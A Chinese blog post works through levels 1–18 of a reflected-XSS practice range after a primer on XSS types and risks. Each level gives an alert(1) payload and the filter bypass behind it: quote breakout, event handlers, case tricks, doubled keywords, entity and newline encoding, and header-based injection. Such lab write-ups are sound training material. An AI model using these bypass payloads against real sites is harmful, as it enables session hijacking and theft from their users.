Contents
  1. 1. 基础
    1. 1.1. 分类
    2. 1.2. 危害
    3. 1.3. 关于JavaScript
    4. 1.4. html与js基础
    5. 1.5. 触发场景
    6. 1.6. 常见绕过
  2. 2. 靶场
    1. 2.1. level1
    2. 2.2. level2
    3. 2.3. level3
    4. 2.4. level4
    5. 2.5. leve5
    6. 2.6. level6
    7. 2.7. level7
    8. 2.8. level8
    9. 2.9. level9
    10. 2.10. level10
    11. 2.11. level11
    12. 2.12. level12
    13. 2.13. level13
    14. 2.14. level14
    15. 2.15. level15
    16. 2.16. level16
    17. 2.17. level17
    18. 2.18. level18

反射型xss靶场刷题记录

基础

分类

反射型xss

发出带xss攻击代码的请求,作为输入提交到服务端,服务端响应后,在响应内容中出现xss攻击代码,最终被浏览器执行,整个过程像一次反射。

存储型xss

提交的xss攻击代码,会被存储的服务端,下次请求该页面时会被显示出来。

DOM型xss

攻击者提交的攻击代码并未显式的包含在web服务器的响应页面中,但会被页面中的js脚本以变量的形式来访问到,导致浏览器在渲染页面执行js脚本的过程中,通过DOM操作执行变量所代表的恶意脚本。

HTML DOM Node Tree

危害

  • 钓鱼,获取用户账号,密码
  • 盗取cookie
  • 劫持会话,执行任意操作(改密码、留言等CSRF)
  • 强制弹出广告页面,刷广告流量
  • 网页挂马、挖矿
  • ddos攻击

关于JavaScript

  • JavaScript是一种客户端的脚本语言,是运行的浏览器中的
  • 浏览器会自动运行网页中的JavaScript代码,并且JavaScript代码对于用户来说是透明的
  • 网页中运行JavaScript的方式
    • 引入外部js
1
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"</script>
  • 使用超链接(javascript伪协议)

    1
    <a href="javascript:alert(111)"></a>
  • 使用标签

    1
    <script>alert(1)</script>
  • 使用事件方法

    1
    <img src=1 onerror=alert(1)>
  • 网页可以通过事件与用户进行交互

  • 浏览器中可以选择禁用JavaScript代码

html与js基础

1.在超链接执行js代码

1
<a href="javascript:alert(1)">ccc</a>
  • javascript //js伪协议

2.通过事件属性执行js代码(通过属性事件执行时,可以加引号,也可以不加引号)

1
2
<img src=1 onerror=alert(1)>
<input type="text" onclick="alert(1)">

常见事件

事件名称 类型 作用
onerror Window 事件属性 在错误发生时运行的脚本。
onload Window 事件属性 页面加载结束以后运行脚本
onclick Mouse 事件 元素上发生鼠标点击时触发。
onmouseover Mouse 事件 当鼠标指针移动到元素上时触发。
oninput From事件 当元素获得用户输入时运行的脚本。

全部事件

触发场景

1.在标签中的xss

level1

1566117473054

输入被放在h2标签中,可以确定此处存在xss漏洞,通过观察,判断是否需要闭合标签,以便成功触发xss漏洞

2.在属性中的xss

1566117677124

我们的输入在”input”标签的属性中,如果直接构造我们的payload无法顺利执行其中的代码,所以我们先进行标签或者引号的闭合,再注入我们的代码

3.选择列表中的xss

在选择列表中,不闭合option标签一样可以触发xss

1566117843466

常见绕过

html实体编码(uncode编码) 绕过黑名单(hackbar需要手动url编码,否则echo无法输出)

1
2
3
4
5
6
<?php
$name = $_GET['name'];
$name = strtolower($name);
$name = str_replace("t","_t",$name);
echo "<h1>".$name."</h1>";
?>

过滤效果

1566118167891

绕过方式

html实体编码(通过a标签href访问可以执行)

1
http://127.0.0.1/info.php?name=<a href="javascrip&#116;:aler&#116;(1)">a</a>

1566119933512

绕过htmlspecialchars

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$name = $_GET['name'];
echo '<center>
<form action=# method=GET>
<input name=name value="'.htmlspecialchars($name).'">
<input type=submit name=submit />
</form>
</center>';
?>
<?php
echo $name;
echo '<center><BR><a href="'.$name.'">aaa</a></center>';
?>

尝试输入

1566120096043

发现对其进行了html实体编码

img

html函数对与& " ' < >进行实体编码

结合实际情况绕过

1
javascript:alert(1)

1566120780263

靶场

靶场在线地址

level1

1
http://xss.tesla-space.com/level1.php?name=<script>alert(1)</script>

1565975597010

level2

闭合掉输入框

1
http://xss.tesla-space.com/level2.php?keyword="><script>alert(1)</script>

1565975713481

level3

采用了实体编码htmlspecialchars

1565976025763

常规绕过不好用,因此我们可以使用不带有尖括号的特殊字符进行尝试:

onmouseover:鼠标指针移动到元素上触发

1
'onmouseover = 'javascript:alert(1)

1565976222115

img

如果换成“ onmouseover=” javascript:alert(1) ,却并不会成功
这是因为,<input type='text' value=' &#039 onmouseover=&#039 javascript:alert(1)'>
只有使用单引号,转换出来的&#039才有意义

level4

1
http://xss.tesla-space.com/level3.php?keyword='onmouseover='javascript:alert(1)&submit=搜索

1565976866652

leve5

尝试oninput,发现过滤了on

采用其他方法绕过,尝试<> 发现未进行实体编码

采用超链接版本的xss代码绕过

1
"/> <a href="javascript:alet(1)"/>

1565977611808

level6

大小写绕过 href

1
"> <a Href="javascript:alert(1)" />

1565977891890

level7

str_replace 过滤关键字,采用双写绕过

1
http://xss.tesla-space.com/level7.php?keyword="/><scriscriptpt>alert(1)</scscriptript>//<&submit=搜索

1565978443744

level8

1
javascrip&#116;:alert(1)

dom型xss(需要urlencode)

尝试对javascript这个函数的关键部分进行编码操作,无论是16进制编码还是Unicode编码均可以

1566051465488

level9

%0d%0a 会被转义为回车

1
javasc&#114;ipt:%0dhttp://www.test.com%0dalert(1)

1566054291970

level10

过滤了尖括号

1
http://xss.tesla-space.com/level10.php?keyword=1&t_sort=" type="text" onclick="alert(1)"

1566054976762

level11

代码审计,在referer里面添加payload

1
Referer: aaaa" type="text" onclick="alert(1)"//

1566099624740

level12

审计代码,发现由User-Agent接收并传递参数

1566100473766

1
User-Agent: "type="text" onclick="alert(1)"//

1566100249389

1566100354668

level13

审计代码发现其在cookie处用user函数传递

1566100559561

构造payload

1
Cookie: user=" type="text" onclick="alert(1)"//

1566100711721

1566100741365

level14

exif xss 使用exiftool 伪造信息即可,但因网站打不开所以滞后练习

level15

文件包含

审计代码发现只有一个src变量是可以控制的

1566103666562

1
<div ng-include="'myFile.htm'"></div>//此为AngularJS包含html文件

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

包含level1内容

1
2
3
4
http://127.0.0.1/xss/level15.php?src='level1.php?name=<script>alert(1)</script>'
//这里的src加''是因为需要ng-include格式
//ng-incldue:'xxx.html'
//方能执行

发现并没有效果。。。

这里的ng-include

属于angular js,需要调用angular.min.js文件,不调用不能正常执行功能,测试下发现源码里用的是google的被墙了,所以改为新的

1566110661611

1
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

再次尝试payload

1566110784733

level16

查看源代码发现这里过滤了script、/、与空格

1566111505736

构造payload(采用%0a绕过空格过滤)

1
http://127.0.0.1/xss/level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>

1566111515187

level17

查看代码

1566111714753

这里是使用了html实体编码来过滤尖括号和双引号

构造payload

1
http://127.0.0.1/xss/level17.php?arg01=a&arg02=b onmouseover=alert(1)

1566111680101

level18

过滤函数几乎没有区别

1566111921044

采用同样的payload绕过

1
http://127.0.0.1/xss/level18.php?arg01=a&arg02=b onmouseover=alert(1)

1566111956810

19、20均为 flash xss内容

Contents
  1. 1. 基础
    1. 1.1. 分类
    2. 1.2. 危害
    3. 1.3. 关于JavaScript
    4. 1.4. html与js基础
    5. 1.5. 触发场景
    6. 1.6. 常见绕过
  2. 2. 靶场
    1. 2.1. level1
    2. 2.2. level2
    3. 2.3. level3
    4. 2.4. level4
    5. 2.5. leve5
    6. 2.6. level6
    7. 2.7. level7
    8. 2.8. level8
    9. 2.9. level9
    10. 2.10. level10
    11. 2.11. level11
    12. 2.12. level12
    13. 2.13. level13
    14. 2.14. level14
    15. 2.15. level15
    16. 2.16. level16
    17. 2.17. level17
    18. 2.18. level18